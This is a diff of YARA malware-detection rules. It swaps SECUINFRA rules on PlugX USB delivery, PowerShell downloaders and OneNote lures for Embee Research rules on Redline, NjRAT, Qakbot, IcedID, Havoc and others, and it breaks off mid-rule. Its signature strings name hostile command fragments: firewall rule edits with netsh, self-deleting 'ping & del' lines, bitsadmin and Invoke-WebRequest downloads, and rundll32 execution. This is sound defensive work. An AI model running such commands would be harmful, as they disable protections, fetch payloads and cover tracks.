-		$s_recBin = "\\RECYCLER.BIN\\" wide
-		$s_shell32 = "%SystemRoot%\\system32\\SHELL32.dll" wide
-		$s_comspec = "%ComSpec%" ascii
+		$s1 = "netsh firewall delete allowedprogram" wide
+		$s2 = "cmd.exe /c ping 0 -n 2 & del" wide
+		$s3 = "netsh firewall add allowedprogram" wide
+		$s4 = "Execute ERROR" wide
+		$s5 = "Update ERROR" wide
+		$s6 = "Download ERROR" wide
 
 	condition:
-		$lnk_magic at 0x0 and any of ($s_*) and ($driveletter_4X or $driveletter_5X)
+		dotnet.is_dotnet and ( all of ($s*))
 }
-rule SECUINFRA_MALWARE_Plugx_USB_Delivery_Ini_Icon_Jun23
+rule EMBEERESEARCH_Win_Redline_Loader_Dec_2023
 {
 	meta:
-		description = "Detects PlugX-style Malware delivery via removable Drives (USB) - Desktop.ini Icon File; could potentially yield FPs"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "faaa507f-8478-5412-be86-4cae7fe28d21"
-		date = "2023-06-21"
-		modified = "2023-06-21"
-		reference = "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_PlugX_USB_Delivery_Jun21.yar#L33-L49"
+		description = "Patterns observed in redline loader"
+		author = "Matthew @ Embee_Research"
+		id = "59d933a8-8ccd-565f-b379-e0bf6c3d3111"
+		date = "2023-12-24"
+		modified = "2023-12-29"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_loader_dec_2023.yar#L1-L20"
 		license_url = "N/A"
-		logic_hash = "1cf552c4627073d13832cf0ac602a610e0919af9e9a197aa07fef5d6a414644b"
+		hash = ""
+		logic_hash = "831c32f9998b97f7ceeb14df73a264a998df5f8800aaa5271755aaaeac070010"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = ""
-		tlp = "CLEAR"
 
 	strings:
-		$s_shellclassinfo = "[.ShellClassInfo]" ascii
-		$s_IconRes = "IconResource=C:\\Windows\\system32\\SHELL32.dll,7" ascii
+		$s1 = {8b ?? ?? 0c 30 04 31 46 3b f7 7c ?? 5d 5b 5e 83 ?? ?? 75}
+		$s2 = "WritePrivateProfileStringA"
+		$s3 = "SetFileShortNameA"
+		$s4 = "- Attempt to use MSIL code from this assembly during native code initialization"
 
 	condition:
-		all of ($s_*)
+		all of them
 }
-rule SECUINFRA_MALWARE_Plugx_USB_Delivery_Ini_Recbin_Jun23
+import "dotnet"
+
+rule EMBEERESEARCH_Win_Njrat_Bytecodes_V2_Oct_2023
 {
 	meta:
-		description = "Detects PlugX-style Malware delivery via removable Drives (USB) - Desktop.ini Recycle Bin; could potentially yield FPs"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "026eba63-12c1-55aa-b736-aea0494c1ab9"
-		date = "2023-06-21"
-		modified = "2023-06-21"
-		reference = "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_PlugX_USB_Delivery_Jun21.yar#L51-L70"
+		description = ""
+		author = "Matthew @ Embee_Research"
+		id = "9090574e-7ad4-5207-af8b-7b56f2a1c917"
+		date = "2023-10-03"
+		modified = "2023-10-08"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_bytecodes_v2_oct_2023.yar#L5-L27"
 		license_url = "N/A"
-		logic_hash = "af5a1f20e46d9db3a9b50b5d8845e60f058c2885a560756266afbd8f3a01bf1e"
+		hash = "9877fc613035d533feda6adc6848e183bf8c8660de3a34b1acd73c75e62e2823"
+		hash = "40f07bdfb74e61fe7d7973bcd4167ffefcff2f8ba2ed6f82e9fcb5a295aaf113"
+		logic_hash = "0bdbf5715e3873d96c88a24ba08487af2b798d26cdcd3e35d783ce4828dae775"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = ""
-		tlp = "CLEAR"
 
 	strings:
-		$s_shellclassinfo = "[.ShellClassInfo]" ascii
-		$s_IconRes = "CLSID = {645FF040-5081-101B-9F08-00AA002F954E}" ascii
-		$neg_LRN = "shell32.dll,-8964" ascii
+		$s1 = {03 1F 72 2E ?? 03 1F 73 2E ?? 03 1F 74 2E ?? 03 1F 75 2E ?? 03 1F 76 2E ?? }
+		$s2 = {0B 14 0C 16 0D 16 13 ?? 16 13 ?? 14}
 
 	condition:
-		all of ($s_*) and not $neg_LRN
+		dotnet.is_dotnet and ( all of ($s*))
 }
-import "pe"
-
-rule SECUINFRA_SUSP_Discord_Attachments_URL : PE DOWNLOAD FILE
+rule EMBEERESEARCH_Win_Ursnif_Patterns_Oct_2022
 {
 	meta:
-		description = "Detects a PE file that contains an Discord Attachments URL. This is often used by Malware to download further payloads"
-		author = "SECUINFRA Falcon Team"
-		id = "bf81920b-f8ab-594a-aa45-d92446411113"
-		date = "2022-02-19"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L3-L16"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "Embee_Research @ Huntress"
+		id = "2c8da2b7-63f2-5cce-86ab-8a88f50d0263"
+		date = "2022-10-14"
+		modified = "2023-06-14"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_ursnif_patterns_oct_2022.yar#L1-L14"
 		license_url = "N/A"
-		logic_hash = "3270b74506e520064361379b274f44a467c55bdcd3d8456967e864526aca8521"
-		score = 65
-		quality = 70
-		tags = "PE, DOWNLOAD, FILE"
-		version = "0.1"
+		logic_hash = "241804ea3b7ac98071c533d9a98a45cdd0f7043f11994327c1f79e29f5fdce2c"
+		score = 75
+		quality = 75
+		tags = ""
 
 	strings:
-		$url = "cdn.discordapp.com/attachments" nocase wide
+		$ursnif = {41 c1 e8 02 45 33 d2 45 8b d9 45 85 c0 74 2f 48 2b ca 83 7c 24 28 00 8b 04 11 44 8b c8 74 0a 85 c0 75 06 44 8d 40 01}
+		$script = "65,193,232,2,69,51,210,69,139,217,69,133,192,116,47,72,43,202,131,124,36,40,0,139,4,17,68,139,200,116,10,133,192,117,6,68,141,64,1"
 
 	condition:
-		uint16(0)==0x5a4d and $url
+		any of them
 }
-import "pe"
-
-rule SECUINFRA_SUSP_DOTNET_PE_Download_To_Specialfolder : DOTNET DOWNLOAD FILE
+rule EMBEERESEARCH_Win_Redline_Updated_Bytecodes_Oct_2023
 {
 	meta:
-		description = "Detects a .NET Binary that downloads further payload and retrieves a special folder"
-		author = "SECUINFRA Falcon Team"
-		id = "106683bf-1d36-58ee-b5af-4723aa70fdad"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L45-L64"
+		description = "Configuration related bytecodes in redline .net files"
+		author = "Matthew @ Embee_Research"
+		id = "1e4470cf-fad3-57e5-8a95-deb97e98dbdc"
+		date = "2023-10-11"
+		modified = "2023-10-11"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_oct_2023.yar#L2-L35"
 		license_url = "N/A"
-		logic_hash = "d44c89ab126f79596c8bf3f1327b37a2463faa4e3bb258f9a96d495ac40003f8"
-		score = 65
-		quality = 70
-		tags = "DOTNET, DOWNLOAD, FILE"
+		hash = "0cc3a0f8b48ef8d8562b9cdf9c7cfe7f63faf43a5ac6dc6973dc8bf13b6c88cf"
+		logic_hash = "77273ba3736baf2c197fb8b17de1e22ba8f2380f73f9114f324ef56bfa508654"
+		score = 75
+		quality = 75
+		tags = ""
 
 	strings:
-		$special_folder = "Environment.SpecialFolder" wide
-		$webclient = "WebClient()" wide
-		$download = ".DownloadFile(" wide
+		$s_1 = {
+				20 ?? ?? ?? ?? 											// ldc.i4
+				2B 00       											// br.s
+				28 ?? ?? ?? 2B 											// Call
+				80 ?? ?? ?? 04 											// stsfld
+				(20 ?? ?? ?? ?? 2B00 28 ?? ?? ?? 2B | 72 ?? ?? ?? 70)   // ldc.i4, br.s, call OR ldstr
+				80 ?? ?? ?? 04      									// Call
+				(20 ?? ?? ?? ?? 2B00 28 ?? ?? ?? 2B | 72 ?? ?? ?? 70)   // ldc.i4, br.s, call OR ldstr
+				80 ?? ?? ?? 04 											// Call		
+				20 ?? ?? ?? ?? 											// ldc.i4
+				2B00            										// br.s
+				28 ?? ?? ?? 2B      									// Call
+				80 ?? ?? ?? 04 											// stsfld
+				2A 														// ret
+			}
+		$s_2 = "mscoree.dll"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and pe.imports("mscoree.dll") and $special_folder and $webclient and $download
+		$s_1 and $s_2
 }
-import "pe"
-
-rule SECUINFRA_SUSP_DOTNET_PE_List_AV : DOTNET AV FILE
+rule EMBEERESEARCH_Win_Berbew_Strings_Dec_2023
 {
 	meta:
-		description = "Detecs .NET Binary that lists installed AVs"
-		author = "SECUINFRA Falcon Team"
-		id = "0f27567a-ab41-5d17-a1d8-a59c9602eb35"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L66-L82"
+		description = "Strings observed in Berbew malware."
+		author = "Matthew @ Embee_Research"
+		id = "402711af-c543-5c95-ae9e-e663825b6653"
+		date = "2023-12-24"
+		modified = "2023-12-26"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_berbew_strings_dec_2023.yar#L1-L19"
 		license_url = "N/A"
-		logic_hash = "b82e6ed5740cab26eb3848717204190d61663e7e42ff42536386b00181a15ebb"
-		score = 65
-		quality = 70
-		tags = "DOTNET, AV, FILE"
+		hash = "24dc0af3c51118697df999d8bffcdfc9cbf0d07f2630473450dd826a1ae4b9ae"
+		logic_hash = "a7f687e749ec69961777063d52678461a8e288c80037fac051d7b1a5b568d9e8"
+		score = 75
+		quality = 75
+		tags = ""
 
 	strings:
-		$mgt_obj_searcher = "\\root\\SecurityCenter2" wide
-		$query = "Select * from AntivirusProduct" wide
+		$s1 = "This KEWL STUFF was coded by V. V. PUPKIN"
+		$s2 = "REAL CASH, REAL BITCHEZ"
+		$s3 = "Please, enter your Card Number"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and pe.imports("mscoree.dll") and $mgt_obj_searcher and $query
+		all of them
 }
 import "pe"
 
-rule SECUINFRA_SUSP_Netsh_Firewall_Command : PE FILE
+rule EMBEERESEARCH_Win_Icedid_Snowloader_Bytecodes_Oct_2023
 {
 	meta:
-		description = "No description has been set in the source file - SecuInfra"
-		author = "SECUINFRA Falcon Team"
-		id = "c62cbe3f-9585-56c0-bb09-83a36437abda"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L84-L97"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "Matthew @ Embee_Research"
+		id = "ad5d7bf5-813d-519d-91ae-e6a69fd557df"
+		date = "2023-08-27"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_icedid_snowloader_bytecodes_oct_2023.yar#L2-L23"
 		license_url = "N/A"
-		logic_hash = "7d19b433785684ce1d2b008b3fdd36b22c5c82bfec476c787dfa025080b6178d"
-		score = 65
-		quality = 70
-		tags = "PE, FILE"
+		hash = "e096de90f65ff83ed0e929b330aa765a8e2322625325fb042775bff1748467cc"
+		hash = "e87928fcddf13935c91a0b5577e28efd29bb6a5c1d98e5129dec63e231601053"
+		hash = "82a01607ebdcaa73b9ff201ccb76780ad8de4a99dd3df026dcb71b0f007456ed"
+		logic_hash = "5baa308ce130cbbe80f94fc127b083f26ae87552910c2bc6f3bae3008cf1aa63"
+		score = 75
+		quality = 75
+		tags = ""
 
 	strings:
-		$netsh_delete = "netsh firewall delete" wide
-		$netsh_add = "netsh firewall add" wide
+		$s_1 = {4c 77 26 07}
+		$s_2 = {58 a4 53 e5}
+		$s_3 = {10 e1 8a c3}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and ($netsh_delete or $netsh_add)
+		( all of ($s*)) and pe.number_of_exports>20
 }
-rule SECUINFRA_MALWARE_Onenote_Delivery_Jan23
+rule EMBEERESEARCH_Win_Medusa_Bytecodes
 {
 	meta:
-		description = "Detects suspicious Microsoft OneNote files used to deliver Malware"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "ebf02a11-6f53-573d-bd7a-9948cef9fb3a"
-		date = "2023-01-19"
-		modified = "2023-01-19"
-		reference = "https://twitter.com/James_inthe_box/status/1615421130877329409"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/MALWARE_OneNote_Delivery_Jan23.yar#L1-L56"
+		description = "Medusa Bytecodes"
+		author = "Matthew @ Embee_Research"
+		id = "48b659f8-cd26-540a-89b6-6349f8d21e8f"
+		date = "2023-08-27"
+		modified = "2024-03-03"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_medusa_dotnet_bytecodes.yar#L1-L17"
 		license_url = "N/A"
-		logic_hash = "08c38eedf500fd1a0224e396b41aebb8ac82b3705321ca798ac1007ea34366e1"
-		score = 65
-		quality = 66
-		tags = ""
-		tlp = "CLEAR"
-		hash0 = "18af397a27e58afb901c92f37569d48e3372cf073915723e4e73d44537bcf54d"
-		hash1 = "de30f2ba2d8916db5ce398ed580714e2a8e75376f31dc346b0e3c898ee0ae4cf"
-		hash2 = "bfc979c0146d792283f825f99772370f6ff294dfb5b1e056943696aee9bc9f7b"
-		hash3 = "e0d9f2a72d64108a93e0cfd8066c04ed8eabe2ed43b80b3f589b9b21e7f9a488"
-		hash4 = "3f00a56cbf9a0e59309f395a6a0b3457c7675a657b3e091d1a9440bd17963f59"
-
-	strings:
-		$hta = "hta:application" nocase
-		$script1 = "type=\"text/vbscript\""
-		$script2 = "language=\"VBScript\""
-		$powershell = "powershell" nocase
-		$startProc = "Start-Process -Filepath"
-		$webReq = "Invoke-WebRequest -Uri"
-		$bitsadmin = "bitsadmin /transfer"
-		$wscript = "WScript.Shell" nocase
-		$autoOpen = "Sub AutoOpen()"
-		$root = "GetObject(\"winmgmts:\\.\\root\\cimv2\")"
-		$wsfExt = ".wsf" ascii wide
-		$vbsExt = ".vbs" ascii wide
-		$cmd = "cmd /c" nocase
-		$batch = "@echo off"
-		$batExt = ".bat" ascii wide
-		$delExit = "(goto) 2>nul & del \"%~f0\"..exit /b"
-		$dosString = "!This program cannot be run in DOS mode"
-		$exeExt = ".exe" ascii wide
-		$imageFile = "button_click-to-view-document.png" wide
-		$click = "click to view document" nocase wide
-		$path1 = "C:\\Users\\My\\OneDrive\\Desktop" wide
-		$path2 = "C:\\Users\\Administrator\\Documents\\Dove" wide
-		$path3 = "C:\\Users\\julien.galleron\\Downloads" wide
+		hash = "a1211549b4e1a7befd953d03b4d929b3dc9f25ec6c1bc9c05ae92a0ec08fb77c"
+		logic_hash = "aa01afd6981af99625a9fca93e512cc00931aca18e55c5cb6dee11efb9ea2968"
+		score = 75
+		quality = 75
+		tags = ""
+
+	strings:
+		$s1 = {1F ?? 8D ?? ?? ?? 01 25 16 72 ?? ?? ?? 70 A2 25 17 72 ?? ?? ?? 70 28 ?? ?? ?? 0A A2 25 18 20 ?? ?? ?? 00 13 04 12 04 28 ?? ?? ?? 0A A2 25 19 20 ?? ?? ?? 00 13 ?? 12 }
+		$s2 = "\\Medusa\\obj\\Release\\Medusa.pdb" ascii
 
 	condition:
-		uint32be(0x0)==0xE4525C7B and 3 of them
+		$s1 or $s2
 }
-rule SECUINFRA_SUS_Unsigned_APPX_MSIX_Manifest_Feb23
+rule EMBEERESEARCH_Win_Solarmarker_Stage2_Bytecodes_Dec_2023
 {
 	meta:
-		description = "Detects suspicious Microsoft Windows APPX/MSIX Installer Manifests"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "f24f7e03-3cc5-5214-b6d2-205b69898636"
-		date = "2023-02-01"
-		modified = "2023-02-07"
-		reference = "https://twitter.com/SI_FalconTeam/status/1620500572481945600"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/SUS_Unsigned_APPX_MSIX_Manifest_Feb23.yar#L1-L25"
+		description = "Patterns observed in Solarmarker stage2 dll"
+		author = "Matthew @ Embee_Research"
+		id = "9aba6cdf-1491-579d-b4a7-fe229272015d"
+		date = "2023-12-28"
+		modified = "2023-12-28"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_solarmarker_stage2_bytecodes_dec_2023.yar#L1-L20"
 		license_url = "N/A"
-		logic_hash = "4e3de25fdad9d76cefbb191424a739368b521c4f234656c397f4122debe749fa"
-		score = 65
-		quality = 70
+		hash = "4a3b60496a793ee96a51fecf8690ef8312429a6b54d32f2a4424395c47b47fc8"
+		hash = "e0b2457491a8c2d50710aa343ad1957a76f83ceaf680165ffa0e287fe18abbd6"
+		logic_hash = "8e50e5942f0029ffda1d9750f8cc8e004a2512e50b6a14c1619ae0b83477a944"
+		score = 75
+		quality = 75
 		tags = ""
-		tlp = "CLEAR"
 
 	strings:
-		$xlmns = "http://schemas.microsoft.com/appx/manifest/"
-		$identity = "OID.2.25.311729368913984317654407730594956997722=1"
-		$s_entrypoint = "EntryPoint=\"Windows.FullTrustApplication\""
-		$s_capability = "runFullTrust"
-		$s_peExt = ".exe"
+		$s1 = {6F ?? ?? 00 0A 1F 20 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 09 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0A 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0D 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0A }
 
 	condition:
-		uint32be(0x0)==0x3C3F786D and $xlmns and $identity and 2 of ($s*)
+		$s1
 }
-rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll : POWERSHELL DOWNLOAD FILE
+rule EMBEERESEARCH_Win_Redline_Bytecodes_Jan_2024 : FILE
 {
 	meta:
-		description = "Detect a Download to %temp% and execution with rundll32.exe"
-		author = "SECUINFRA Falcon Team"
-		id = "6b09a6f0-29c6-5baf-ae64-7aa49a37a9d3"
-		date = "2022-09-02"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L1-L17"
+		description = "Bytecodes found in late 2023 Redline malware"
+		author = "Matthew @ Embee_Research"
+		id = "8acf0fbb-f7d1-5a3d-9ccb-ee21926d6a31"
+		date = "2023-08-27"
+		modified = "2024-01-02"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_jan_2024.yar#L1-L22"
 		license_url = "N/A"
-		logic_hash = "4d7860dc94614b10bc0eea0189ad9b964399d4ee6404ebeaef40720c716c592d"
-		score = 65
-		quality = 70
-		tags = "POWERSHELL, DOWNLOAD, FILE"
+		hash = "ea1271c032046d482ed94c6d2c2c6e3ede9bea57dff13156cabca42b24fb9332"
+		logic_hash = "43f4d718611c16983071587c2806f92550ebba6bae737c59c63cd8584a5cc01f"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$location = "$Env:temp" nocase
-		$download = "downloadfile(" nocase
-		$rundll = "rundll32.exe"
+		$s1 = {00 00 7E ?? ?? ?? 04 7E ?? ?? ?? 04 28 ?? ?? ?? 06 17 8D ?? ?? ?? 01 25 16 1F 7C 9D 6F ?? ?? ?? 0A 13 ?? 16 13 ?? 38 }
+		$s2 = "mscoree.dll" ascii
 
 	condition:
-		filesize <100KB and $location and $download and $rundll
+		$s1 and $s2 and uint16(0)==0x5a4d
 }
-rule SECUINFRA_SUSP_Powershell_Base64_Decode : POWERSHELL B64 FILE
+rule EMBEERESEARCH_Win_Icedid_Encryption_Oct_2022 : FILE
 {
 	meta:
-		description = "Detects PowerShell code to decode Base64 data. This can yield many FP"
-		author = "SECUINFRA Falcon Team"
-		id = "7cb01c0b-d7e3-5196-b78d-f41765ba0368"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/powershell.yar#L19-L31"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "Embee_Research @ Huntress"
+		id = "1ecbb3b3-dfc1-5d69-807d-3a44c39a3536"
+		date = "2022-10-14"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_icedid_encryption_oct_2022.yar#L1-L18"
 		license_url = "N/A"
-		logic_hash = "b323089ac61823d969d04a05890ad9fffe8589165d4b026b08e9fd633d4247de"
-		score = 60
-		quality = 50
-		tags = "POWERSHELL, B64, FILE"
+		logic_hash = "da657cf87e043a1fdb2ec683de8a7a12acb8c8f1c24034bb376d525c0a1c5740"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$b64_decode = "[System.Convert]::FromBase64String("
+		$IcedID = {41 0f b6 d3 44 8d 42 01 83 e2 03 41 83 e0 03 42 8a 44 84 40 02 44 94 40 43 32 04 33 42 8b 4c 84 40 41 88 04 1b 83 e1 07 8b 44 94 40 49 ff c3 d3 c8 ff c0 89 44 94 40 83 e0 07}
 
 	condition:
-		filesize <500KB and $b64_decode
+		$IcedID
 }
-rule SECUINFRA_SUSP_LNK_Staging_Directory : FILE
+rule EMBEERESEARCH_Win_Havoc_Djb2_Hashing_Routine_Oct_2022 : FILE
 {
 	meta:
-		description = "Detects typical staging directories being referenced inside lnk files"
-		author = "SECUINFRA Falcon Team"
-		id = "459ed2e6-133c-5cde-bf49-95bf8a5eb8c8"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/lnk.yar#L31-L46"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "embee_research @ HuntressLabs"
+		id = "cde3e14f-0671-5bcf-93e8-e0a0af9b462c"
+		date = "2022-10-11"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_havoc_djb2_hashing_routine_oct_2022.yar#L1-L24"
 		license_url = "N/A"
-		logic_hash = "3f2a04702b39bce48fc85aa68f39e6062c3b5ee37667eb086222a866a5e438e4"
-		score = 65
-		quality = 70
+		logic_hash = "9f645480c3d78153186a247440739a1d2e627ec64a4225083bd8db4ad9bd5ef3"
+		score = 75
+		quality = 75
 		tags = "FILE"
+		vendor = "Huntress Research"
 
 	strings:
-		$header = {4c00 0000 0114 0200 0000}
-		$public = "$env:public" wide
+		$dll = {b8 05 15 00 00 0f be 11 48 ff c1 84 d2 74 07 6b c0 21 01 d0 eb ef}
+		$shellcode = {41 80 f8 60 76 04 41 83 e8 20 6b c0 21 45 0f b6 c0 49 ff c1 44 01 c0 eb c4}
 
 	condition:
-		filesize <20KB and ($header at 0) and $public
+		( any of them ) and ( uint16(0)==0x5a4d or uint16(0)==0x00e8 or uint16(0)==0x4856)
 }
-rule SECUINFRA_SUS_Unsigned_APPX_MSIX_Installer_Feb23
+rule EMBEERESEARCH_Win_Qakbot_String_Decrypt_Nov_2022 : FILE
 {
 	meta:
-		description = "Detects suspicious, unsigned Microsoft Windows APPX/MSIX Installer Packages"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "beaf08a8-a1c3-5d9c-b7cb-81a49c5bc2ec"
-		date = "2023-02-01"
-		modified = "2023-02-07"
-		reference = "https://twitter.com/SI_FalconTeam/status/1620500572481945600"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/SUS_Unsigned_APPX_MSIX_Installer_Feb23.yar#L1-L22"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "Embee_Research @ Huntress"
+		id = "0023872f-8edb-59d6-88eb-a76528ba6ec8"
+		date = "2022-11-14"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_string_decrypt_nov_2022.yar#L1-L15"
 		license_url = "N/A"
-		logic_hash = "ad3f0545b2fe285adf67f053c8b422126a1bdff1b6835631280442495d975d16"
-		score = 50
-		quality = 30
-		tags = ""
-		tlp = "CLEAR"
+		logic_hash = "d225f69fa4dd0e8d7c98e7f8968ad285f05b232225e9ce1070b7a23257a0ef9d"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$s_manifest = "AppxManifest.xml"
-		$s_block = "AppxBlockMap.xml"
-		$s_peExt = ".exe"
-		$sig = "AppxSignature.p7x"
+		$qakbot_decrypt = {33 d2 8b c7 f7 75 10 8a 04 1a 8b 55 fc 32 04 17 88 04 39 47 83 ee 01}
 
 	condition:
-		uint16be(0x0)==0x504B and 2 of ($s*) and not $sig
+		uint16(0)==0x5a4d and $qakbot_decrypt
 }
-rule SECUINFRA_OBFUS_Javascript_Wscript_Hex_Strings_Usage
+rule EMBEERESEARCH_Win_Nighthawk_Nov_2022 : FILE
 {
 	meta:
-		description = "Detects the frequent usage of Wscript to get an hex encoded string from an array and interpret it. Used by e.g WSHRAT"
-		author = "SECUINFRA Falcon Team"
-		id = "dd55753e-4f7b-56be-a6d4-66f1d7dc8747"
-		date = "2022-12-02"
-		modified = "2022-02-13"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/javascript_obfuscation.yar#L2-L19"
+		description = "Experimental Yara rule for patterns observed in Nighthawk"
+		author = "Embee_Research @ Huntress"
+		id = "853b0623-ea35-5055-90d0-bb2b5aea8ecd"
+		date = "2022-11-23"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_nighthawk_nov_2022.yar#L1-L100"
 		license_url = "N/A"
-		logic_hash = "62bc3261b3c2e902a82423239a7ee0bcedfccbeeeda11833b935197144dc7c35"
-		score = 75
-		quality = 70
-		tags = ""
+		logic_hash = "ef39067c12396db1de2feb560ff5628cbb3126e34e6318e88bdb08f6eb7940fb"
+		score = 50
+		quality = 67
+		tags = "FILE"
+		vendor = "Huntress"
+		sharing = "TLP:White"
 
 	strings:
-		$wscript = "= WScript["
-		$hex_enc_str1 = "\\x63\\x72\\x65\\x61"
-		$hex_enc_str2 = "\\x73\\x63\\x72\\x69"
-		$hex_enc_str3 = "\\x71\\x75\\x69\\x74"
-		$hex_enc_str4 = "\\x41\\x72\\x67\\x75"
+		$s1 = {c6 ad b1 fd}
+		$s2 = {97 16 5f fa}
+		$s3 = {d0 05 89 e9}
+		$s4 = {bf 27 3f 97}
+		$s5 = {d7 12 2f 49}
+		$s6 = {f2 b7 78 2b}
+		$s7 = {09 c4 e6 fb}
+		$s8 = {54 af d9 1a}
+		$s9 = {04 e4 72 6e}
+		$s10 = {4f 06 7d 7d}
+		$s11 = {93 ee 23 66}
+		$g1 = {bf bf d1 d5}
